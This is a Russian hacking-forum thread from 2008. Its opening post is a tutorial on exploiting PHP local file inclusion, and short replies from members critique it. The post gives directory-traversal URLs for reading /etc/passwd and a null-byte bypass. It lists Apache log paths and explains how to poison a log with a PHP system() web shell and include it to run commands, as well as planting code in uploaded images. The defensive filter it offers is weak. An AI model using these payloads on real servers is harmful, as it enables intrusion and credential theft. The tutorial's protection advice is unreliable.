Авторские статьи Локальные Php Иньекции

Discussion in 'Статьи' started by maxster, 11 Apr 2008.

  1. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    0.Введение

    В это статье я расскажу о том как пользоваться локальной пхп иньекцией.
    Некоторые считают, что это бесполезный тип атаки, однако это не так,
    с ее помощью можно узнать много ПОЛЕЗНОЙ информации, которая поможет
    в процессе взлома, а в не которых случаях даже получить шелл.

    1. Поехали!


    Для начала давайте рассмотрим кусок уязвимого кода:

    Code:
    <?php 
    $page = $_GET[page]; 
    include($page); 
    ?>
    
    Этот кусок кода никогда нельзя использовать, т.к. $page не фильруеться и на прямую
    идет к вебфайлу, несмотря на это очень часто можно встретить этот код в сети.
    Предположим, что есть веб сервер с папкой include, в который лежит
    сраница main.php, мы можем попасть на нее так:
    Code:
    http://webserver.ru/inc/main.php
    
    А если уязвимый код, описаный в первой части присутвует в index.php, который лежит
    в корневой директории сервера, то можно сделать так:
    Code:
    http://webserver.ru/index.php?page=test/main.php
    
    Index.php может лежать в другом месте, например в папке /test/krevedko/index.php,
    то подгрузить main.php можно так:
    Code:
    http://webserver.ru/test/krevedko/index.php?page=../main.php
    
    ../ - предыдущая папка
    ./ - папка в которой находиться скрипт

    2. Глазами хакера

    Что ж теперь, когда мы знаем как это выглядит, давайте попробуем использовать это
    в своих целях. Например, если машина стоит на *nix, можно прочитать файл с паролями,
    для это надо сделать нечто подобное:

    Code:
    http://webserver.ru/index.php?page=../../../../../etc/passwd
    
    Если пароли не затенены (находяться в файле etc/shadow), то мы увидим
    приблизительно такое:
    Code:
    user:ghjERIOmm23rt:305:100:UserName:/home/user:/bin/sh
    
    что означает
    Code:
    username: passwd:UID:GID:full_name:directory:shell
    
    Сейчат редко увидишь пароли в файле passwd, все чаще они находяться в
    etc/shadow, который доступен только root, так что врятли вы его прочтете.
    Здесь не много мест, куда следует сходить

    Code:
    /etc/passwd 
    /etc/shadow 
    /etc/security/passwd 
    /etc/security/user 
    

    3. Не все так гладко на нашем пути


    Не много подумав, можно себе представить такой код

    Code:
    PHP Code: 
    <?php 
    $page = $_GET["page"]; 
    include("$page.php"); 
    ?>
    
    В конце добавляеться расширениее .php, так что если вызвать

    Code:
    http://webserver.ru/index.php?page=../../../../../etc/passwd
    
    Получим не файл passwd, а файль passwd.php, которого само сабой нет,
    так что здесь нам в помощь идет NULL byte или ядовитый ноль, после
    такого байта сервер игнорирует, то что идет дальше, так что код выглядит так:
    Code:
    http://webserver.ru/index.php?page=../../../../../etc/passwd%00
    
    %00 - NULL byte

    4. А как же веб шелл ?

    А вот так, мы попробуем записать php код в логи http демона и заинклудить их,
    вопрос лишь в том где они? Я вам дам пару путей возможного их нахождения:

    Code:
    ../apache/logs/error.log 
    ../apache/logs/access.log 
    ../etc/httpd/logs/acces_log 
    ../etc/httpd/logs/acces.log 
    ../etc/httpd/logs/error_log 
    ../etc/httpd/logs/error.log 
    ../var/www/logs/access_log 
    ../var/www/logs/access.log 
    ../usr/local/apache/logs/access_log 
    ../usr/local/apache/logs/access.log 
    ../var/log/apache/access_log 
    ../var/log/apache2/access_log 
    ../var/log/apache/access.log 
    ../var/log/apache2/access.log 
    ../var/log/access_log 
    ../var/log/access.log 
    ../var/www/logs/error_log 
    ../var/www/logs/error.log 
    ../usr/local/apache/logs/error_log 
    ../usr/local/apache/logs/error.log 
    ../var/log/apache/error_log 
    ../var/log/apache2/error_log 
    ../var/log/apache/error.log 
    ../var/log/apache2/error.log 
    ../var/log/error_log 
    ../var/log/error.log
    
    эти логи ведут запись запросов о не найденных файлах, то есть
    что бы этим воспользоваться достаточно обратиться скажем к такому
    файлу http://webserver/<?system($_GET[cmd]);?> и наш php код
    (<?system($_GET[cmd]);?>) будет записан в эти логи, дальше с помощью
    локальной php инькции мы подгрузим лог и выполним команду, но
    ваш браузер может переделать код в такой вид:
    Code:
    %3C?%20system(\$_GET[cmd])%20?>
    
    так что для этого можно воспользоваться программой которая шлет запросы,
    или написать скрипт, который будет все делать сам.

    Так же шел можно залить с помощью картинки
    Вставляем в каритинку php код, заливаем на сервер и с помощью иньекции инклудим ее,
    результат работы скрипта в картинке должен быть выведен на экран.

    5. Пару слов о защите.

    Иногда приходиться самому писать движок и в некоторых случаях приходиться использовать
    этот бажный кусок, но как же защитить свой сайт от злостных хакеров? для этого стоит добавить
    вот такую конструкцию после бажной части:

    Code:
    if(!isset($_GET["page"]))exit;
    $page = str_replace(".", "", str_replace("\\", "", $_GET["page"]));
    if(!file_exists($page)) exit;
    include($page);
    
    И все будет хорошо, можно спокойно идти спать и не бояться инклуда ;)

    6. Заключение

    Это все что я хотел рассказать вам локальных php иньекциях, не делайте сами таких ошибок,
    карайте тех кто их делает, всем удачи.
     
    7 people like this.
  2. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    хакер что ле? как Фленов. .
    мда..
    Все остальное очевидно
     
    #2 Roba, 12 Apr 2008
    Last edited: 12 Apr 2008
  3. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    http://forum.antichat.ru/thread23501.html - здесь просто нечего добавить...
    Автору + за старания, но это не очень сильно...
     
  4. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    кто сказал, что мы злостные=\

    Сейчас это выражение на половину утратило свой первоначальный смысл, жаль=\

    зы статья не раскрыта и на 50% незачет
     
  5. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    это не практично
     
  6. MaSter GeN

    MaSter GeN Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    52
    Likes Received:
    31
    Reputations:
    0
    тема в данном случае мало понятна для новичка и не раскрыта !!!афтаору + за старания
     
  7. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    спс, мен что оформил, а то в *.txt неудобно и впадлу мне было читать.
    СПС!
     
    1 person likes this.
  8. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    У задохлика статья лучше была
     
    _________________________